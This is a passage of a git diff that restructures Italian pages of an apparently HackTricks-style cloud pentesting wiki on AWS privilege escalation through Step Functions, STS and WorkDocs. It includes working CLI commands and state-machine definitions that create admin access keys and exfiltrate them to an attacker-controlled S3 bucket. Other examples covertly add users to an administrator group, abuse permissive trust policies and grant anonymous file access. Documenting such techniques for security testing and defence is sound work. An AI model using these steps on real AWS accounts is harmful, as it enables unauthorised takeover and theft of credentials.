-"creationDate": "2024-07-09T20:29:35.381000+02:00"
-}
-```
-- **Comando** eseguito per **avviare un'esecuzione** della macchina a stati precedentemente creata:
-```json
-aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
-{
-"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
-"startDate": "2024-07-09T20:33:35.466000+02:00"
-}
-```
-> [!WARNING]
-> Il bucket S3 controllato dall'attaccante dovrebbe avere i permessi per accettare un'azione s3:PutObject dall'account della vittima.
-
-**Impatto Potenziale**: Esecuzione non autorizzata e manipolazione dei flussi di lavoro e accesso a risorse sensibili, che potrebbero portare a significative violazioni della sicurezza.
-
-### `states:UpdateStateMachine` & (non sempre richiesto) `iam:PassRole`
-
-Un attaccante con il permesso **`states:UpdateStateMachine`** sarebbe in grado di modificare la definizione di una macchina a stati, potendo aggiungere stati stealth extra che potrebbero portare a un'escalation dei privilegi. In questo modo, quando un utente legittimo avvia un'esecuzione della macchina a stati, questo nuovo stato stealth malevolo verrà eseguito e l'escalation dei privilegi avrà successo.
-
-A seconda di quanto permissivo sia il Ruolo IAM associato alla macchina a stati, un attaccante si troverebbe di fronte a 2 situazioni:
-
-1. **Ruolo IAM Permissivo**: Se il Ruolo IAM associato alla macchina a stati è già permissivo (ha ad esempio la policy **`arn:aws:iam::aws:policy/AdministratorAccess`** allegata), allora il permesso **`iam:PassRole`** non sarebbe necessario per escalare i privilegi poiché non sarebbe necessario aggiornare anche il Ruolo IAM, con la definizione della macchina a stati è sufficiente.
-2. **Ruolo IAM Non Permissivo**: In contrasto con il caso precedente, qui un attaccante richiederebbe anche il permesso **`iam:PassRole`** poiché sarebbe necessario associare un Ruolo IAM permissivo alla macchina a stati oltre a modificare la definizione della macchina a stati.
-```bash
-aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
-[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
-```
-I seguenti esempi mostrano come aggiornare una macchina a stati legittima che invoca semplicemente una funzione Lambda HelloWorld, per aggiungere uno stato extra che aggiunge l'utente **`unprivilegedUser`** al gruppo IAM **`administrator`**. In questo modo, quando un utente legittimo avvia un'esecuzione della macchina a stati aggiornata, questo nuovo stato stealth malevolo verrà eseguito e l'escalation dei privilegi avrà successo.
-
-> [!WARNING]
-> Se la macchina a stati non ha un ruolo IAM permissivo associato, sarebbe anche necessario il permesso **`iam:PassRole`** per aggiornare il ruolo IAM al fine di associare un ruolo IAM permissivo (ad esempio uno con la policy **`arn:aws:iam::aws:policy/AdministratorAccess`** allegata).
-
-{{#tabs }}
-{{#tab name="Legit State Machine" }}
-```json
-{
-"Comment": "Hello world from Lambda state machine",
-"StartAt": "Start PassState",
-"States": {
-"Start PassState": {
-"Type": "Pass",
-"Next": "LambdaInvoke"
-},
-"LambdaInvoke": {
-"Type": "Task",
-"Resource": "arn:aws:states:::lambda:invoke",
-"Parameters": {
-"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
-},
-"Next": "End PassState"
-},
-"End PassState": {
-"Type": "Pass",
-"End": true
-}
-}
-}
-```
-{{#endtab }}
-
-{{#tab name="Malicious Updated State Machine" }}
-```json
-{
-"Comment": "Hello world from Lambda state machine",
-"StartAt": "Start PassState",
-"States": {
-"Start PassState": {
-"Type": "Pass",
-"Next": "LambdaInvoke"
-},
-"LambdaInvoke": {
-"Type": "Task",
-"Resource": "arn:aws:states:::lambda:invoke",
-"Parameters": {
-"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
-},
-"Next": "AddUserToGroup"
-},
-"AddUserToGroup": {
-"Type": "Task",
-"Parameters": {
-"GroupName": "administrator",
-"UserName": "unprivilegedUser"
-},
-"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
-"Next": "End PassState"
-},
-"End PassState": {
-"Type": "Pass",
-"End": true
-}
-}
-}
-```
-{{#endtab }}
-{{#endtabs }}
-
-- **Comando** eseguito per **aggiornare** **la macchina a stati legittima**:
-```bash
-aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
-{
-"updateDate": "2024-07-10T20:07:10.294000+02:00",
-"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
-}
-```
-**Impatto Potenziale**: Esecuzione non autorizzata e manipolazione dei flussi di lavoro e accesso a risorse sensibili, che potrebbero portare a significative violazioni della sicurezza.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
new file mode 100644
index 000000000..8f342bd32
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
@@ -0,0 +1,231 @@
+# AWS - Step Functions Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+Per maggiori informazioni su questo servizio AWS, consulta:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### Risorse Task
+
+Queste privilege escalation techniques richiederanno l'uso di alcune risorse di AWS Step Functions per eseguire le azioni di privilege escalation desiderate.
+
+Per verificare tutte le azioni possibili, puoi accedere al tuo account AWS, selezionare l'azione che vuoi usare e vedere i parametri che utilizza, come in:
+
+<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
+
+Oppure puoi consultare la documentazione API di AWS e verificare la documentazione di ciascuna action:
+
+- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
+- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
+
+### `states:TestState` & `iam:PassRole`
+
+Un attacker con i permessi **`states:TestState`** e **`iam:PassRole`** può testare qualsiasi state e passare qualsiasi IAM role ad esso senza creare o aggiornare una state machine esistente, abilitando potenzialmente accesso non autorizzato ad altri servizi AWS con i permessi del ruolo. Se combinati, questi permessi possono portare a estese azioni non autorizzate, dalla manipolazione dei workflow e modifica dei dati a violazioni dei dati, manipolazione delle risorse e privilege escalation.
+```bash
+aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
+```
+Gli esempi seguenti mostrano come testare uno state che crea un access key per l'utente **`admin`** sfruttando questi permessi e un ruolo permissivo dell'ambiente AWS. Questo ruolo permissivo dovrebbe avere associata una policy ad alto privilegio (per esempio **`arn:aws:iam::aws:policy/AdministratorAccess`**) che consenta allo state di eseguire l'azione **`iam:CreateAccessKey`**:
+
+- **stateDefinition.json**:
+```json
+{
+"Type": "Task",
+"Parameters": {
+"UserName": "admin"
+},
+"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
+"End": true
+}
+```
+- **Command** eseguito per effettuare il privesc:
+```bash
+aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
+
+{
+"output": "{
+\"AccessKey\":{
+\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
+\"CreateDate\":\"2024-07-09T16:59:11Z\",
+\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
+\"Status\":\"Active\",
+\"UserName\":\"admin\"
+}
+}",
+"status": "SUCCEEDED"
+}
+```
+**Potential Impact**: Esecuzione non autorizzata e manipolazione dei flussi di lavoro e accesso a risorse sensibili, con potenziali gravi violazioni della sicurezza.
+
+### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
+
+Un attaccante in possesso di **`states:CreateStateMachine`**& **`iam:PassRole`** sarebbe in grado di creare una state machine e assegnarle qualsiasi IAM role, permettendo accessi non autorizzati ad altri servizi AWS con i permessi del role. A differenza della precedente privesc technique (**`states:TestState`** & **`iam:PassRole`**), questa non si esegue da sola: è inoltre necessario avere i permessi **`states:StartExecution`** o **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **non è disponibile per standard workflows**, **solo per express state machines**) per avviare un'esecuzione sulla state machine.
+```bash
+# Create a state machine
+aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
+[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
+
+# Start a state machine execution
+aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
+
+# Start a Synchronous Express state machine execution
+aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
+```
+Gli esempi seguenti mostrano come creare una state machine che crea un access key per l'utente **`admin`** e esfiltra questa access key in un bucket S3 controllato dall'attaccante, sfruttando questi permessi e un ruolo permissivo dell'ambiente AWS. Questo ruolo permissivo dovrebbe avere associata una policy ad alto privilegio (per esempio **`arn:aws:iam::aws:policy/AdministratorAccess`**) che permette alla state machine di eseguire le azioni **`iam:CreateAccessKey`** e **`s3:putObject`**.
+
+- **stateMachineDefinition.json**:
+```json
+{
+"Comment": "Malicious state machine to create IAM access key and upload to S3",
+"StartAt": "CreateAccessKey",
+"States": {
+"CreateAccessKey": {
+"Type": "Task",
+"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
+"Parameters": {
+"UserName": "admin"
+},
+"ResultPath": "$.AccessKeyResult",
+"Next": "PrepareS3PutObject"
+},
+"PrepareS3PutObject": {
+"Type": "Pass",
+"Parameters": {
+"Body.$": "$.AccessKeyResult.AccessKey",
+"Bucket": "attacker-controlled-S3-bucket",
+"Key": "AccessKey.json"
+},
+"ResultPath": "$.S3PutObjectParams",
+"Next": "PutObject"
+},
+"PutObject": {
+"Type": "Task",
+"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
+"Parameters": {
+"Body.$": "$.S3PutObjectParams.Body",
+"Bucket.$": "$.S3PutObjectParams.Bucket",
+"Key.$": "$.S3PutObjectParams.Key"
+},
+"End": true
+}
+}
+}
+```
+- **Comando** eseguito per **creare la macchina a stati**:
+```bash
+aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
+{
+"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
+"creationDate": "2024-07-09T20:29:35.381000+02:00"
+}
+```
+- **Comando** eseguito per **avviare un'esecuzione** della state machine creata in precedenza:
+```json
+aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
+{
+"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
+"startDate": "2024-07-09T20:33:35.466000+02:00"
+}
+```
+> [!WARNING]
+> Il bucket S3 controllato dall'attaccante dovrebbe avere i permessi per accettare un'azione s3:PutObject dall'account vittima.
+
+**Potential Impact**: Esecuzione non autorizzata e manipolazione dei workflow e accesso a risorse sensibili, potenzialmente portando a violazioni di sicurezza significative.
+
+### `states:UpdateStateMachine` & (not always required) `iam:PassRole`
+
+Un attaccante con il permesso **`states:UpdateStateMachine`** sarebbe in grado di modificare la definizione di una state machine, potendo aggiungere stati stealth aggiuntivi che potrebbero portare a una escalation di privilegi. In questo modo, quando un utente legittimo avvia l'esecuzione della state machine, questo nuovo stato malevolo stealth verrà eseguito e l'escalation di privilegi avrà successo.
+
+A seconda di quanto permissivo sia l'IAM Role associato alla state machine, un attaccante si troverebbe di fronte a 2 situazioni:
+
+1. **Permissive IAM Role**: Se l'IAM Role associato alla state machine è già permissivo (ad esempio ha allegata la policy **`arn:aws:iam::aws:policy/AdministratorAccess`**), allora il permesso **`iam:PassRole`** non sarebbe richiesto per scalare i privilegi, poiché non sarebbe necessario aggiornare anche l'IAM Role; basta modificare la definizione della state machine.
+2. **Not permissive IAM Role**: In contrasto con il caso precedente, qui un attaccante richiederebbe anche il permesso **`iam:PassRole`** poiché sarebbe necessario associare un IAM Role permissivo alla state machine oltre a modificare la definizione della state machine.
+```bash
+aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
+[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
+```
+Gli esempi seguenti mostrano come aggiornare una state machine legittima che semplicemente invoca una HelloWorld Lambda function, per aggiungere uno stato extra che aggiunge l'utente **`unprivilegedUser`** al **`administrator`** IAM Group. In questo modo, quando un utente legittimo avvierà l'esecuzione della state machine aggiornata, questo nuovo stato malevolo stealth verrà eseguito e l'escalation di privilegi avrà successo.
+
+> [!WARNING]
+> Se la state machine non ha un IAM Role permissivo associato, sarà inoltre richiesta la permissione **`iam:PassRole`** per aggiornare l'IAM Role al fine di associare un IAM Role permissivo (per esempio uno con la policy **`arn:aws:iam::aws:policy/AdministratorAccess`** allegata).
+
+{{#tabs }}
+{{#tab name="Legit State Machine" }}
+```json
+{
+"Comment": "Hello world from Lambda state machine",
+"StartAt": "Start PassState",
+"States": {
+"Start PassState": {
+"Type": "Pass",
+"Next": "LambdaInvoke"
+},
+"LambdaInvoke": {
+"Type": "Task",
+"Resource": "arn:aws:states:::lambda:invoke",
+"Parameters": {
+"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
+},
+"Next": "End PassState"
+},
+"End PassState": {
+"Type": "Pass",
+"End": true
+}
+}
+}
+```
+{{#endtab }}
+
+{{#tab name="Malicious Updated State Machine" }}
+```json
+{
+"Comment": "Hello world from Lambda state machine",
+"StartAt": "Start PassState",
+"States": {
+"Start PassState": {
+"Type": "Pass",
+"Next": "LambdaInvoke"
+},
+"LambdaInvoke": {
+"Type": "Task",
+"Resource": "arn:aws:states:::lambda:invoke",
+"Parameters": {
+"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
+},
+"Next": "AddUserToGroup"
+},
+"AddUserToGroup": {
+"Type": "Task",
+"Parameters": {
+"GroupName": "administrator",
+"UserName": "unprivilegedUser"
+},
+"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
+"Next": "End PassState"
+},
+"End PassState": {
+"Type": "Pass",
+"End": true
+}
+}
+}
+```
+{{#endtab }}
+{{#endtabs }}
+
+- **Comando** eseguito per **aggiornare** **la state machine legittima**:
+```bash
+aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
+{
+"updateDate": "2024-07-10T20:07:10.294000+02:00",
+"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
+}
+```
+**Impatto potenziale**: Esecuzione non autorizzata e manipolazione dei workflows e accesso a risorse sensibili, che potrebbero portare a gravi violazioni della sicurezza.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
deleted file mode 100644
index 466258b09..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
+++ /dev/null
@@ -1,136 +0,0 @@
-# AWS - STS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## STS
-
-### `sts:AssumeRole`
-
-Ogni ruolo viene creato con una **role trust policy**, questa policy indica **chi può assumere il ruolo creato**. Se un ruolo dello **stesso account** dichiara che un account può assumerlo, significa che l'account sarà in grado di accedere al ruolo (e potenzialmente ottenere **privesc**).
-
-Ad esempio, la seguente role trust policy indica che chiunque può assumerlo, quindi **qualsiasi utente sarà in grado di privesc** alle autorizzazioni associate a quel ruolo.
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-Puoi impersonare un ruolo in esecuzione:
-```bash
-aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
-```
-**Impatto potenziale:** Privesc al role.
-
-> [!CAUTION]
-> Nota che in questo caso il permesso `sts:AssumeRole` deve essere **indicato nel role da abusare** e non in una policy appartenente all'attacker.\
-> Con un'eccezione, per **assumere un role da un account diverso** l'account attacker **deve anche** avere il **`sts:AssumeRole`** sul role.
-
-
-### `sts:AssumeRoleWithSAML`
-
-Una trust policy con questo role concede **agli utenti autenticati tramite SAML l'accesso per impersonare il role.**
-
-Un esempio di trust policy con questo permesso è:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "OneLogin",
-"Effect": "Allow",
-"Principal": {
-"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
-},
-"Action": "sts:AssumeRoleWithSAML",
-"Condition": {
-"StringEquals": {
-"SAML:aud": "https://signin.aws.amazon.com/saml"
-}
-}
-}
-]
-}
-```
-Per generare credenziali per impersonare il ruolo, in generale potresti usare qualcosa del genere:
-```bash
-aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>
-```
-Ma i **provider** potrebbero avere i loro **strumenti** per semplificare questo, come [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
-```bash
-onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
-```
-**Impatto potenziale:** Privesc al ruolo.
-
-### `sts:AssumeRoleWithWebIdentity`
-
-Questa autorizzazione permette di ottenere un set di credenziali di sicurezza temporanee per **utenti autenticati in mobile, applicazioni web, EKS...** con un provider di identità web. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
-
-Ad esempio, se un **EKS service account** dovrebbe essere in grado di **impersonare un ruolo IAM**, avrà un token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** e può **assumere il ruolo e ottenere credenziali** facendo qualcosa del genere:
-```bash
-aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
-# The role name can be found in the metadata of the configuration of the pod
-```
-### Abuso della federazione
-
-{{#ref}}
-../aws-basic-information/aws-federation-abuse.md
-{{#endref}}
-
-### IAM Roles Anywhere Privesc
-
-AWS IAM RolesAnywhere permette a workload esterni ad AWS di assumere ruoli IAM usando certificati X.509. Ma quando le trust policies non sono adeguatamente limitate, possono essere abusate per privilege escalation.
-
-Per capire questo attacco, è necessario spiegare cos'è un trust anchor. Un trust anchor in AWS IAM Roles Anywhere è l'entità radice di fiducia: contiene il certificato pubblico di una Certificate Authority (CA) registrata nell'account, in modo che AWS possa validare i certificati X.509 presentati. In questo modo, se il client certificate è stato emesso da quella CA e il trust anchor è attivo, AWS lo riconosce come valido.
-
-Inoltre, un profile è la configurazione che definisce quali attributi del certificato X.509 (come CN, OU o SAN) saranno trasformati in session tags, e questi tags saranno poi confrontati con le condizioni della trust policy.
-
-Questa policy manca di restrizioni su quali trust anchor o attributi del certificato siano consentiti. Di conseguenza, qualsiasi certificato legato a qualsiasi trust anchor nell'account può essere usato per assumere questo ruolo.
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"Service": "rolesanywhere.amazonaws.com"
-},
-"Action": [
-"sts:AssumeRole",
-"sts:SetSourceIdentity",
-"sts:TagSession"
-]
-}
-]
-}
-
-```
-Per privesc, è richiesto il `aws_signing_helper` da https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
-
-Poi, usando un certificato valido, l'attaccante può, facendo pivot, accedere al ruolo con privilegi più elevati
-```bash
-aws_signing_helper credential-process \
---certificate readonly.pem \
---private-key readonly.key \
---trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
---profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
---role-arn arn:aws:iam::123456789012:role/Admin
-```
-Il trust anchor valida che il certificato `readonly.pem` del client provenga dalla sua CA autorizzata, e all'interno di questo certificato `readonly.pem` c'è la chiave pubblica che AWS usa per verificare che la firma sia stata fatta con la corrispondente chiave privata `readonly.key`.
-
-Il certificato fornisce anche attributi (come CN o OU) che il profilo `default` trasforma in tag, i quali la trust policy del ruolo può usare per decidere se autorizzare l'accesso. Se non ci sono condizioni nella trust policy, quegli tag non hanno utilità e l'accesso viene concesso a chiunque possieda un certificato valido.
-
-Perché questo attacco sia possibile, sia il trust anchor che il profilo `default` devono essere attivi.
-
-### Riferimenti
-
-- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md
new file mode 100644
index 000000000..291e91e9e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md
@@ -0,0 +1,136 @@
+# AWS - STS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## STS
+
+### `sts:AssumeRole`
+
+Ogni ruolo viene creato con una **policy di trust del ruolo**, questa policy indica **chi può assumere il ruolo creato**. Se un ruolo dello **stesso account** dichiara che un account può assumerlo, significa che l'account sarà in grado di accedere al ruolo (e potenzialmente **privesc**).
+
+Ad esempio, la seguente policy di trust del ruolo indica che chiunque può assumerlo; di conseguenza **qualsiasi utente potrà effettuare privesc** alle autorizzazioni associate a quel ruolo.
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+Puoi impersonare un ruolo eseguendo:
+```bash
+aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
+```
+**Impatto potenziale:** Privesc sul ruolo.
+
+> [!CAUTION]
+> Nota che in questo caso il permesso `sts:AssumeRole` deve essere **indicata nel ruolo da abusare** e non in una policy appartenente all'attaccante.\
+> Con un'eccezione, per **assumere un ruolo da un account diverso** l'account dell'attaccante **deve anche** possedere il **`sts:AssumeRole`** su quel ruolo.
+
+
+### `sts:AssumeRoleWithSAML`
+
+Una trust policy con questo ruolo concede **agli utenti autenticati tramite SAML l'accesso per impersonare il ruolo.**
+
+Un esempio di trust policy con questo permesso è:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OneLogin",
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
+},
+"Action": "sts:AssumeRoleWithSAML",
+"Condition": {
+"StringEquals": {
+"SAML:aud": "https://signin.aws.amazon.com/saml"
+}
+}
+}
+]
+}
+```
+Per generare credentials per impersonare il role in generale potresti usare qualcosa del genere:
+```bash
+aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>
+```
+Ma i **provider** potrebbero avere i loro **strumenti** per semplificare questo, come [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
+```bash
+onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
+```
+**Impatto potenziale:** Privesc to the role.
+
+### `sts:AssumeRoleWithWebIdentity`
+
+Questa autorizzazione permette di ottenere un set di credenziali di sicurezza temporanee per **utenti che sono stati autenticati in un'app mobile, un'applicazione web, EKS...** con un provider di identità web. [Per saperne di più.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
+
+Ad esempio, se un **EKS service account** dovrebbe essere in grado di **impersonate an IAM role**, avrà un token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** e può **assume the role and get credentials** facendo qualcosa del genere:
+```bash
+aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
+# The role name can be found in the metadata of the configuration of the pod
+```
+### Federation Abuse
+
+{{#ref}}
+../../aws-basic-information/aws-federation-abuse.md
+{{#endref}}
+
+### IAM Roles Anywhere Privesc
+
+AWS IAM RolesAnywhere permette a workload esterni ad AWS di assumere IAM roles usando certificati X.509. Tuttavia, quando le trust policies non sono correttamente circoscritte, possono essere sfruttate per privilege escalation.
+
+Per capire questo attacco, è necessario spiegare cos'è una trust anchor. Una trust anchor in AWS IAM RolesAnywhere è l'entità radice di fiducia; contiene il certificato pubblico di una Certificate Authority (CA) registrata nell'account in modo che AWS possa validare i certificati X.509 presentati. In questo modo, se il certificato del client è stato emesso da quella CA e la trust anchor è attiva, AWS lo riconosce come valido.
+
+Inoltre, un profile è la configurazione che definisce quali attributi del certificato X.509 (come CN, OU o SAN) verranno trasformati in session tags, e questi tag saranno poi confrontati con le condizioni della trust policy.
+
+Questa policy manca di restrizioni su quali trust anchor o attributi del certificato siano consentiti. Di conseguenza, qualsiasi certificato legato a qualsiasi trust anchor nell'account può essere usato per assumere questo role.
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Service": "rolesanywhere.amazonaws.com"
+},
+"Action": [
+"sts:AssumeRole",
+"sts:SetSourceIdentity",
+"sts:TagSession"
+]
+}
+]
+}
+
+```
+Per privesc, è richiesto `aws_signing_helper` da https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
+
+Poi, usando un certificato valido, l'attacker può pivot nel ruolo con privilegi più elevati
+```bash
+aws_signing_helper credential-process \
+--certificate readonly.pem \
+--private-key readonly.key \
+--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
+--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
+--role-arn arn:aws:iam::123456789012:role/Admin
+```
+Il trust anchor verifica che il certificato `readonly.pem` del client provenga dalla sua CA autorizzata, e all'interno di questo certificato `readonly.pem` si trova la chiave pubblica che AWS usa per verificare che la firma sia stata effettuata con la corrispondente chiave privata `readonly.key`.
+
+Il certificato fornisce anche attributi (come CN o OU) che il profilo `default` trasforma in tag, che la trust policy del role può usare per decidere se autorizzare l'accesso. Se nella trust policy non ci sono condizioni, quei tag non hanno utilità e l'accesso viene concesso a chiunque abbia un certificato valido.
+
+Perché questo attacco sia possibile, sia il trust anchor che il profilo `default` devono essere attivi.
+
+### Riferimenti
+
+- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md
similarity index 57%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md
index 485bd17b6..687d9f7d8 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md
@@ -1,23 +1,23 @@
 # AWS - WorkDocs Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## WorkDocs
 
-Per ulteriori informazioni su WorkDocs controlla:
+Per maggiori informazioni su WorkDocs consulta:
 
 {{#ref}}
-../aws-services/aws-directory-services-workdocs-enum.md
+../../aws-services/aws-directory-services-workdocs-enum.md
 {{#endref}}
 
 ### `workdocs:CreateUser`
 
-Crea un utente all'interno della Directory indicata, quindi avrai accesso sia a WorkDocs che a AD:
+Crea un utente nella Directory indicata; otterrai accesso sia a WorkDocs sia ad AD:
 ```bash
 # Create user (created inside the AD)
 aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
 ```
-### `workdocs:GetDocument`, `(workdocs:DescribeActivities)`
+### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)`
 
 I file potrebbero contenere informazioni sensibili, leggili:
 ```bash
@@ -32,7 +32,7 @@ aws workdocs get-document --document-id <doc-id>
 ```
 ### `workdocs:AddResourcePermissions`
 
-Se non hai accesso per leggere qualcosa, puoi semplicemente concederlo.
+Se non hai i permessi per leggere qualcosa, puoi semplicemente concederteli.
 ```bash
 # Add permission so anyway can see the file
 aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
@@ -40,14 +40,14 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
 ```
 ### `workdocs:AddUserToGroup`
 
-Puoi rendere un utente amministratore impostandolo nel gruppo ZOCALO_ADMIN.\
-Per farlo, segui le istruzioni da [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
+Puoi rendere un utente admin impostandolo nel gruppo ZOCALO_ADMIN.\
